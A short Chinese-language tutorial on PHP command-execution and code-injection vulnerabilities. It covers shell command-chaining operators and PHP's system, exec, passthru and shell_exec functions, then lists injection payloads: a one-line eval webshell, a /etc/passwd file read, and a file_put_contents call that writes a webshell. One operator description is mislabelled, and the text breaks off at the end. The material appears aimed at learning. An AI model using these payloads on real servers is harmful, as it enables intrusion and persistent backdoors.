一、命令执行漏洞
当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,
当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。由于服务器端没有针对执行函数和对用户提交的内容进行过滤,所以产生了恶意命令。一道例题如下:
恶意命令的格式
command1&command2 两个命令同时执行,前面执行不成功后面也执行
command1&&command2 只有前面命令执行成功,后面命令才继续执行
command1;command2 不管前面命令执行成功没有,后面的命令继续执行(Linux)
command1||command2 将一个命令的标准输出作为另外一个命令的标准输入。当第一条命令失败时,它仍然会执行第二条命令
command1||command2 顺序执行多条命令,当碰到执行正确的命令后将不执行后面的命令命令执行的常用函数: 1. System:system函数可以用来执行一个外部的应用程序并将相应的执行结果输出, 函数原型如下:string system(string command, int&return_var) 其中,command是要执行的命令,return_var存放执行命令的执行后的状态值。 2. Exec:exec函数可以用来执行一个外部的应用程序 string exec (string command, array&output, int &return_var) 其中,command是要执行的命令,output是获得执行命令输出的每一行字符串, return_var存放执行命令后的状态值。 3.Passthru:passthru函数可以用来执行一个UNIX系统命令并显示原始的输出, 当UNIX系统命令的输出是二进制的数据,并且需要直接返回值给浏览器时, 需要使用passthru函数来替代system与exec函数。 Passthru函数原型如下:void passthru (string command, int&return_var) 其中,command是要执行的命令,return_var存放执行命令后的状态值。 4. Shell_exec:执行shell命令并返回输出的字符串,函数原型如下: string shell_exec (string command) 其中,command是要执行的命令。
二、代码执行漏洞
代码执行漏洞也叫代码注入漏洞,指用户通过浏览器 提交执行恶意脚本代码,执行恶意构造的脚本代码。例如我们最常见的一句话木马和文件上传等等。
代码执行漏洞的利用,出现这些东西表面她可能是代码执行漏洞
1、一句话木马
${@eval($_POST[1])}
2、获取当前工作路径
${exit(print(getcwd()))}
使用菜刀
3、读文件
${exit(var_dump(file_get_contents($_POST[f])))}
f=/etc/passwd
使用post提交数值 f=/etc/passwd
4、写webshell
${exit(var_dump(file_put_contents($_POST[f], $_POST[d])))}
f=1.php&d=1111111
同样使用post
发现一篇好文: